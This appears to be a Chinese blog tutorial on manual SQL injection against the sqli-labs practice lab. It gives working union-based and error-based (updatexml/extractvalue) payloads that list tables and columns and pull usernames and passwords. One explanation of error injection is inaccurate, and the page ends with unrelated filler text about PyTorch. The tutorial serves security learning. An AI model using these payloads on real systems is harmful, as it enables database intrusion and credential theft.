渗透测试----手把手教你SQL手工注入--(联合查询,报错注入)

拓展:进行报错注入所需要的数据库前置知识---MYSQL数据库结构

初始化安装MySQL(版本需要在5.0以上),会默认创建4个系统数据库:

其中我们需要特别关注information_schema这个库

在利用"报错函数"进行报错注入时,我们的主要目标就是上图中出现的表

数据库常用系统函数

数据库常见函数
system_user()系统用户名

user()

用户名
current_user()当前用户名
session_user()连接数据库的用户名
database()数据库名
version()MySQL数据库版本
load_file()加载本地文件系统上的文件内容,并将其作为字符串值插入到数据库中。
@@datadir读取数据库路径
@@basedirMySQL安装路径
@@version_compile_os

读取当前操作系统

   

循序渐进---联合查询注入

联合查询注入需要用到UNION操作符---UNION 操作符用于连接两个以上的 SELECT 语句的结果并将其组合到一个结果集中。前提是两个select必须有相同列。那么如何判断列数呢?

首先,我们要判断注入点的列数,使用order by;

如图:当order by字段数为3时,页面正常,字段数为4时,页面报错。说明前一个查询语句的结果集有3

接着在通过查询数据表中不存在的数据,从而执行后面的union语句,获取显示位

这样就会执行后边的"union select 1,2, 3"

据此可以判断Your Login name 和 Your Password 分别在结果集中的第2列和第3列

那么就可借此在对应的位置插入我们想要执行的代码

结果如下,我们在原本显示的位置输出了我们想要的内容:

拓展:如何判断查询结果的列数以及显示位

如图,有一张"知识要求占比权重"的表(该表5列6行)

我们试着使用order by 6(表中只有5列)

结果显示没有第6列,那么就可以采用二分法依次使用order by 3, order by 5....来最终确定表中只有5列.至于显示位,就是在查询的结果集中最终呈现在网页上的内容,如图:

 select * from 知识要求占比权重 where 序号=1;
(注:这段代码视不同的MYSQL版本需要为汉字添加英文单引号)

查询的结果为:

+--------+----------------------------------+--------+--------+--------+
| 序号   | 项目                             | 初级   | 中级   | 高级   |
+--------+----------------------------------+--------+--------+--------+
|      1 | 网络安全职业素质(道德)           |      5 |      5 |      5 |
+--------+----------------------------------+--------+--------+--------+
1 row in set (0.02 sec)

最终呈现在网页上的就可能为:

您查询的项目为网络安全职业素质(道德)
中级对应的占比(%)5

那么这里的显示位就是第2列和第4列;

 select * from 知识要求占比权重 where 序号=1 union select 1,2,3,4,5;

+--------+----------------------------------+--------+--------+--------+
| 序号   | 项目                             | 初级   | 中级   | 高级   |
+--------+----------------------------------+--------+--------+--------+
|      1 | 网络安全职业素质(道德)           |      5 |      5 |      5 |
|      1 | 2                                |      3 |      4 |      5 |
+--------+----------------------------------+--------+--------+--------+
2 rows in set (0.02 sec)
拓展:让sqli靶场显示出对应的查询语句

如图:

文件路径为\WWW\sqli-labs-master\Less-1\index.php

效果如图,这样我们在学习时会更方便一些: 

注意,对应关卡修改对应文件

联合查询--获取数据库名

通过之前的一通操作,我们已经得知了数据的显示位,也就是数据库的查询结果最终显示在网络页面上的内容,那么接下来我们要做的就是找出查询结果的数据库名----

正常的查询:

192.168.xx.xx/sqli-labs-master/Less-1/?id=2

借助联合注入获取数据库名 security:

http://192.168.xx.xx/sqli-labs-master/Less-1/?id=-1' union select 1,2,database() --+

联合查询--获取表名

再借助 information_schema 数据库和 查询得知的 security 数据库来获取表名为:

http://192.168.xx.xx/sqli-labs-master/Less-1/?id=-1'
union select 1,2,table_name from information_schema.tables where table_schema='security'--+

那么能否查询 security 这个数据库中包含的所有表呢? 我们可以借助 group_concat(),  这个函数用于将多个行的值连接成一个字符串。它是 MySQL 对 GROUP BY 子句的一个扩展,使其能够执行比单纯分组更复杂的操作:

http://192.168.xx.xx/sqli-labs-master/Less-1/?id=-1'
union select 1,2,group_concat(table_name) from information_schema.tables 
where table_schema='security'--+

联合查询---获取字段名(列名)

知道了数据库名和表名,基本上我们就定位到了所需数据的位置,依旧是借助 information_schema:

我们这里查询的是 users 表:

http://192.168.xx.xx/sqli-labs-master/Less-1/?id=-1'
union select 1,2,group_concat(column_name) 
from information_schema.columns 
where table_schema='security' and table_name='users'--+

联合查询---获取具体数据

得知在 users 表中的字段名有 username,password,那么借助 group_concat 就可以获得所有的用户名及密码:

http://192.168.xx.xx/sqli-labs-master/Less-1/?id=-1'
union select 1,group_concat(username),group_concat(password) from security.users --+

但是这样的查询结果有些凌乱,可以把用户名和密码用特殊符号连接在一起:

http://192.168.xx.xx/sqli-labs-master/Less-1/?id=-1'
union select 1,(select group_concat(username,'~',password) from security.users),3 --+

这样就简洁明了多了~~~

总的来说,联合查询的思路就是:数据库=>=>字段=>数据

目录

拓展:进行报错注入所需要的数据库前置知识---MYSQL数据库结构

数据库常用系统函数

循序渐进---联合查询注入

拓展:如何判断查询结果的列数以及显示位

拓展:让sqli靶场显示出对应的查询语句

联合查询--获取数据库名

联合查询--获取表名

联合查询---获取字段名(列名)

联合查询---获取具体数据

无中生有---报错注入

拓展:什么是sqli-labs-master?

拓展:强横无比的BP

报错函数---extravalue(),updatexml()

利用报错函数注出数据库名、用户/密码

报错注入--获取数据库名

报错注入--获取表名

报错注入--获取字段名

报错注入--获取具体数据

总结: 


Bypass-渗透测试---手把手教你SQL注入---Bypass姿势(如何绕过过滤措施?)icon-default.png?t=N7T8http://t.csdnimg.cn/BicwG

无中生有---报错注入

报错注入是一种特殊的SQL注入攻击方式,它利用了应用程序对异常处理的不完善,通过在输入的SQL语句中插入恶意的SQL语句,达到获取未授权数据的目的。

在报错注入中,我们可以通过在输入的数据中插入SQL语句的异常字符,使得应用程序抛出异常,从而获取应用程序的错误信息。这些错误信息可能包含了应用程序的敏感数据,如数据库表结构、列名、存储过程等。

例如,假设一个应用程序的登录页面中存在一个SQL注入漏洞。我们可以在用户名或密码中输入以下内容:

1 OR 1=0 --

这个输入会被应用程序解释为一个SQL语句,其中OR 1=0表示逻辑或运算,由于后面的条件不满足,所以整个SQL语句将返回一个错误。同时,"--"是MySQL中的注释符号,它会导致后续的语句被注释掉,使得应用程序执行剩下的语句。

当应用程序抛出异常时,会输出错误信息,其中可能包含了数据库表结构和列名的信息。攻击者可以将这些信息记录下来,并构造更加复杂的SQL注入攻击语句,进一步获取更多的数据。

因此,报错注入是一种非常危险的SQL注入攻击方式,它利用了应用程序对异常处理的不完善,获取了应用程序的敏感数据,从而危害了系统的安全。所以,我们应该加强应用程序的异常处理和输入验证机制,提高应用程序的安全性。

当然,在实战中仅仅使用"1 OR 1=0 --",有些过于简单,我们可以利用数据库语言中特有的一些"报错函数"来达成我们的目的,例如ExtractValue(), updatexml()

以下借助sqli-labs-master和BurpSuite来演示这两个函数在SQL报错注入中的运用:

拓展:什么是sqli-labs-master?

注意,PHP的版本应当为5

sqli-labs-master是一款SQL注入漏洞实验平台,
可以帮助用户学习和理解SQL注入漏洞的原理、检测和利用方法,
提高网络安全意识和技能。

sqli-labs-master提供了多个等级的SQL注入实验题目,
每个题目都提供了详细的说明和目标网址,用户需要通过操作注入点,
构造恶意的SQL语句,获取目标数据库中的数据,完成题目要求的目标。

sqli-labs-master还提供了答案查看功能,
用户可以查看其他用户提交的答案,了解其他用户是如何利用SQL注入漏洞
获取数据的,并通过对比自己的答案,加深对SQL注入漏洞利用方法的理解。

总之,sqli-labs-master是一款非常实用的SQL注入漏洞实验平台,
可以帮助用户提高网络安全技能和意识。
拓展:强横无比的BP

Burp Suite是一款用于攻击web应用程序的集成平台,它包含了许多工具,可以加快攻击应用程序的过程。

Burp Suite主要包括以下模块和功能:

  • Target:显示目标站点目录结构。
  • Proxy:是一个拦截HTTP/S的代理服务器,作为一个在浏览器和目标应用程序之间的中间人,允许你拦截、查看、修改在两个方向上的原始数据流。
  • Spider:是一个应用智能感应的网络爬虫,它能完整的枚举应用程序的内容和功能。
  • Scanner:是一个高级工具,执行后,它能自动地发现web应用程序的安全漏洞。
  • Intruder:是一个定制的高度可配置的工具,对web应用程序进行自动化攻击,如:枚举标识符,收集有用的数据,以及使用fuzzing技术探测常规漏洞。
  • Repeater:是一个靠手动操作来触发单独的HTTP请求,并分析应用程序响应的工具。
  • Decoder:是一个进行手动执行或对应用程序数据者智能解码编码的工具。

报错函数---extravalue(),updatexml()

       mysql5.1.5版本中添加了extractvalue()、updatexml()函数,它们两个分别能够对XML文档进行查询、修改操作。

SQL报错注入的应用:当使用extractvalue(xml_frag, xpath_expr)函数时,若xpath_expr参数不符合xpath格式,就会报错。而~符号(ascii编码值:0x7e)在xpath格式中是不存在的, 所以一旦在xpath_expr参数出现~符号,就会产生xpath syntax error (xpath语法错误),通过使用这个方法就可以达到报错注入的目的。

extravalue(1,要执行的SQL语句)
updatexml(1,要执行的SQL语句,1)
SQL语句中需要包含0x7e

注意:在BurpSuite中,URL中的空格要用"+"代替(在POST表单中不需要)

在BurpSuite中,对URL作如下修改
GET /sqli-labs-master/Less-1/?id=1'
+and+extractvalue(1,concat(0x7e,(select+user()),0x7e))+--+ 
或者
GET /sqli-labs-master/Less-1/?id=1'
+and+updatexml(1,concat(0x7e,(select+user()),0x7e),1)+--+

concat()函数用于将多个字符串连接起来,形成一个单一的字符串

响应的结果如下:

利用报错函数注出数据库名、用户/密码

需要注意的是以上两个报错函数对输出的字符长度做了限制,其最长输出32位并且该语句对payload的返回类型也做了限制,只有在payload返回的不是xml格式才会生效为此我们可能需要借助limit语句

LIMIT语句可以有两个参数,也可以有一个参数。当使用两个参数时,第一个参数指定偏移量(从结果集中的哪一行开始返回),第二个参数指定要返回的行数。当只有一个参数时,该参数指定要返回的行数。LIMIT语句的索引从0开始

报错注入--获取数据库名

GET /sqli-labs-master/Less-1/?id=1'
+and+updatexml(1,concat(0x7e,(select+database()),0x7e),1)+--+

报错注入--获取表名

GET /sqli-labs-master/Less-1/?id=1'
 and updatexml(1,concat(0x7e,
(select group_concat(table_name) from information_schema.tables
 where table_schema='security'),0x7e),1) --+ HTTP/1.1

这里返回的语句没有超过32位字符,以防万一,我们加上 limit :

GET /sqli-labs-master/Less-1/?id=1'
and updatexml(1,concat(0x7e,
(select table_name from information_schema.tables
where table_schema='security' limit 0,1),0x7e),1) --+ HTTP/1.1

之后依次使用"limit 1,1" "limit 2,1"......依次遍历出其他的表名(当然如果数据过多的话我们就需要借助BurpSuite 的爆破功能)

报错注入--获取字段名

GET /sqli-labs-master/Less-1/?id=1'+and+updatexml(1,concat(0x7e,
(select+group_concat(column_name)
+from+information_schema.columns
+where+table_schema='security'+and+table_name='users'),0x7e),1)+--+ HTTP/1.1

报错注入--获取具体数据

/sqli-labs-master/Less-1/?id=1' 
and updatexml(1,concat(0x7e,
(select group_concat(username,'~',password) from users)),1) --+

发现数据缺失了一部分,这里就需要使用limit 语句

/sqli-labs-master/Less-1/?id=1' and updatexml(1,concat(0x7e,
(select concat(username,'~',password) from users limit 0,1)),1) --+
这里没有使用group_concat(),因为它会把所有结果合并为一个,这里应当使用concat()

总结:

根据页面回显情况使用合适的注入方式

联合注入页面有显示位
报错注入

页面有SQL报错内容的回显

 本系列的后续文章链接:

渗透测试---手把手教你SQL注入(2)---盲注icon-default.png?t=N7T8http://t.csdnimg.cn/f28Rc

渗透测试---手把手教你SQL注入(3)---UA头注入与referer注入icon-default.png?t=N7T8http://t.csdnimg.cn/0qQub

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论
2023-pytorch是一个开源深度学习库,它在计算机视觉领域有广泛的应用。本文将手把手你如何使用CSDN来学习和获取有关2023-pytorch分类的相关资料和程。 首先,在你的浏览器中打开CSDN的官方网站,网址为www.csdn.net。在主页上,你可以看到各种热门的技术文章、博客和论坛。在搜索框中输入"2023-pytorch分类",然后点击搜索按钮。CSDN将会为你展示与该关键词相关的所有内容。 接下来,你可以通过筛选工具来找到特定类型的文章或程。例如,你可以选择只查看博客、文章或程。你还可以选择按照发布时间或热度排序来获取最新或最受欢迎的内容。 当你找到一篇感兴趣的程时,点击进入阅读。通常,程会提供详细的步骤和示例代码,帮助你了解如何使用2023-pytorch进行分类任务。你可以按照程中的指示一步一步地操作,并理解每个步骤的原理和作用。 除了阅读程外,CSDN还提供了一个活跃的技术问答社区。你可以在这里向其他用户提问、讨论问题,或分享你的学习体验和心得。社区中的任何人都可以回答你的问题,所以不要犹豫,积极参与其中。 此外,CSDN还为用户提供了博客功能,你可以创建自己的博客来记录学习过程和分享实践经验。通过写博客,你还可以得到其他人的反馈和建议,不断提升自己的技术水平。 总结起来,要使用CSDN学习和获取有关2023-pytorch分类的相关资料和程,你可以通过搜索功能找到相关内容,阅读程并按照指导一步一步地进行实践,参与技术问答社区以及利用博客功能分享你的学习心得和经验。通过这些途径,你将能够快速掌握2023-pytorch分类的基本原理和应用。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

洛一方

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值